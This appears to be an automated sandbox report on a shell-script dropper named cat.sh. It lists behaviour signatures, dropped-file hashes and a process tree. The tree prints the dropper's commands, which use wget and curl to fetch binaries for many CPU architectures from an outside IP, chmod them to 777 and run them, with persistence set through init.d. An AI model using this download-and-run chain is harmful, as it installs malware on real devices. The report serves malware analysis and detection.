Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/10/2026, 07:33

General

  • Target
    cat.sh
  • Size 1KB
  • Sample261007-jdl8pavw7m
  • SHA256 02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 3 IoCs

    Adds/modifies system service, likely for persistence.

  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cat.sh
    /tmp/cat.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /usr/bin/wget
      wget http://176.65.139.204/iran.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:646
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:667
    • /tmp/x86_64
      ./x86_64 catloader
      2⤵
        PID:669
      • /usr/bin/wget
        wget http://176.65.139.204/iran.aarch64 -O aarch64
        2⤵
        • Writes file to tmp directory
        PID:671
      • /bin/chmod
        chmod 777 aarch64
        2⤵
        • File and Directory Permissions Modification
        PID:676
      • /tmp/aarch64catloader
        ./aarch64catloader
        2⤵
          PID:677
        • /usr/bin/wget
          wget http://176.65.139.204/iran.m68k -O m68k
          2⤵
          • Writes file to tmp directory
          PID:678
        • /bin/chmod
          chmod 777 m68k
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/m68k
          ./m68k catloader
          2⤵
            PID:680
          • /usr/bin/wget
            wget http://176.65.139.204/iran.mips -O mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:682
          • /bin/chmod
            chmod 777 mips
            2⤵
            • File and Directory Permissions Modification
            PID:683
          • /tmp/mips
            ./mips catloader
            2⤵
            • System Network Configuration Discovery
            PID:684
          • /usr/bin/wget
            wget http://176.65.139.204/iran.mipsel -O mipsel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:686
          • /bin/chmod
            chmod 777 mipsel
            2⤵
            • File and Directory Permissions Modification
            PID:687
          • /tmp/mipsel
            ./mipsel catloader
            2⤵
            • System Network Configuration Discovery
            PID:688
          • /usr/bin/wget
            wget http://176.65.139.204/iran.powerpc -O powerpc
            2⤵
            • Writes file to tmp directory
            PID:690
          • /bin/chmod
            chmod 777 powerpc
            2⤵
            • File and Directory Permissions Modification
            PID:691
          • /tmp/powerpc
            ./powerpc catloader
            2⤵
              PID:692
            • /usr/bin/wget
              wget http://176.65.139.204/iran.sparc -O sparc
              2⤵
              • Writes file to tmp directory
              PID:694
            • /bin/chmod
              chmod 777 sparc
              2⤵
              • File and Directory Permissions Modification
              PID:699
            • /tmp/sparc
              ./sparc catloader
              2⤵
                PID:701
              • /usr/bin/wget
                wget http://176.65.139.204/iran.sh4 -O sh4
                2⤵
                • Writes file to tmp directory
                PID:703
              • /bin/chmod
                chmod 777 sh4
                2⤵
                • File and Directory Permissions Modification
                PID:712
              • /tmp/sh4
                ./sh4 catloader
                2⤵
                  PID:714
                • /usr/bin/wget
                  wget http://176.65.139.204/iran.arc -O arc
                  2⤵
                  • Writes file to tmp directory
                  PID:716
                • /bin/chmod
                  chmod 777 arc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:725
                • /tmp/arc
                  ./arc catloader
                  2⤵
                    PID:727
                  • /usr/bin/wget
                    wget http://176.65.139.204/iran.i486 -O i486
                    2⤵
                    • Writes file to tmp directory
                    PID:729
                  • /bin/chmod
                    chmod 777 i486
                    2⤵
                    • File and Directory Permissions Modification
                    PID:739
                  • /tmp/i486
                    ./i486 catloader
                    2⤵
                      PID:740
                    • /usr/bin/wget
                      wget http://176.65.139.204/iran.armv4l -O armv4l
                      2⤵
                      • Writes file to tmp directory
                      PID:743
                    • /bin/chmod
                      chmod 777 armv4l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:755
                    • /tmp/armv4l
                      ./armv4l catloader
                      2⤵
                      • Modifies init.d
                      • Changes its process name
                      • Reads runtime system information
                      PID:756
                    • /usr/bin/wget
                      wget http://176.65.139.204/iran.armv5l -O armv5l
                      2⤵
                      • Writes file to tmp directory
                      PID:758
                    • /usr/bin/curl
                      curl http://176.65.139.204/iran.armv5l -o armv5l
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:764
                    • /bin/chmod
                      chmod 777 armv5l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:765
                    • /tmp/armv5l
                      ./armv5l catloader
                      2⤵
                      • Modifies init.d
                      • Changes its process name
                      • Reads runtime system information
                      PID:766
                    • /usr/bin/wget
                      wget http://176.65.139.204/iran.armv6l -O armv6l
                      2⤵
                      • Writes file to tmp directory
                      PID:768
                    • /usr/bin/curl
                      curl http://176.65.139.204/iran.armv6l -o armv6l
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:773
                    • /bin/chmod
                      chmod 777 armv6l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:774
                    • /tmp/armv6l
                      ./armv6l catloader
                      2⤵
                        PID:775
                      • /usr/bin/wget
                        wget http://176.65.139.204/iran.armv7l -O armv7l
                        2⤵
                          PID:776
                        • /usr/bin/curl
                          curl http://176.65.139.204/iran.armv7l -o armv7l
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:777
                        • /bin/chmod
                          chmod 777 armv7l
                          2⤵
                          • File and Directory Permissions Modification
                          PID:778
                        • /tmp/armv7l
                          ./armv7l catloader
                          2⤵
                          • Modifies init.d
                          • Changes its process name
                          • Reads runtime system information
                          PID:779

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

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                            Downloads

                            xs.main

                            • Path /etc/init.d/xs.main
                            • Size 29B
                            • SHA256 7dd4c5cb5218adbb3e71eb16e974fcfa4d858c7806bc6af85f672881edb305fc
                            • MD5 SHA1 SHA512

                            xs.main

                            • Path /etc/init.d/xs.main
                            • Size 29B
                            • SHA256 7ce582bd7309aa2ceebd476af4e5746d855bdd5aad5926552f3316c77fdcb8c3
                            • MD5 SHA1 SHA512

                            xs.main

                            • Path /etc/init.d/xs.main
                            • Size 29B
                            • SHA256 42b6ef5db9a5712515affbe655f7d3d72d4a6069458dc38c3c9f911560e36a8e
                            • MD5 SHA1 SHA512

                            aarch64

                            • Path /tmp/aarch64
                            • Size 205KB
                            • SHA256 8f4c0563e9fd8901e1c6282740685c4521b877bb0e2bdfd792510672e2b007c9
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            arc

                            • Path /tmp/arc
                            • Size 153KB
                            • SHA256 45ac99a83d99879ba0cba10fce2f81f772f67e44ef3df726b4c074c2d7a5f230
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv4l

                            • Path /tmp/armv4l
                            • Size 153KB
                            • SHA256 209844df102aea0ebb0c185029f2eaf8f89e9309bfdc1127594b1761519f89a6
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv5l

                            • Path /tmp/armv5l
                            • Size 12KB
                            • SHA256 e4841ced9869856d7b552f2cd05187a7a5b7e6c6009c374457e5fd7a49032031
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv5l

                            • Path /tmp/armv5l
                            • Size 150KB
                            • SHA256 7e47c19f82d8a932da2ec9bd42d7b815a05bf4be9ae0e512544fdbfce5f930b8
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv6l

                            • Path /tmp/armv6l
                            • Size 165KB
                            • SHA256 b22e4c920695bb35526ff1173f8a8344190576228af1791d941c54ca60fc01e3
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv7l

                            • Path /tmp/armv7l
                            • Size 142KB
                            • SHA256 6b2171ad66224954ed1845a46ea6aa8f047304957f3e8e514bdeee6abf5139e8
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            i486

                            • Path /tmp/i486
                            • Size 98KB
                            • SHA256 e09fe1bcfefb15f916979a7bb04a1a570ed999e2e751f7d80266502727e2b6b2
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            m68k

                            • Path /tmp/m68k
                            • Size 177KB
                            • SHA256 6ace19d81500192e18a25f9b42068e116c20f541ae51f49a1ac2638605081963
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mips

                            • Path /tmp/mips
                            • Size 204KB
                            • SHA256 47ae5b0371a638ce7dddcbec7869fc6fa2e67e546bb1e814f19e87a518233461
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mipsel

                            • Path /tmp/mipsel
                            • Size 206KB
                            • SHA256 b2238267cad870db41151a195b2f05870ed72aeda6650a8b9d727b52f2c3ae56
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            powerpc

                            • Path /tmp/powerpc
                            • Size 155KB
                            • SHA256 4d980590fdc794458e66ecde82b683e0b2b057811de970befa53c8ccb5c44b05
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            sh4

                            • Path /tmp/sh4
                            • Size 138KB
                            • SHA256 1bb4fbf5df215757d7a6b1f9601515ec4e12a41c4d695e17898793db2e5b38a8
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            sparc

                            • Path /tmp/sparc
                            • Size 42KB
                            • SHA256 95aff8f144f665a442574864787b4f7f81988631946e9a8405abc7cc1116cac5
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            x86_64

                            • Path /tmp/x86_64
                            • Size 160KB
                            • SHA256 7bd6aa495ec7595c0576d069e8274e2372f218b6e79ee71c9100cf5c541b24ed
                            • MD5 SHA1 SHA512 SSDEEP TLSH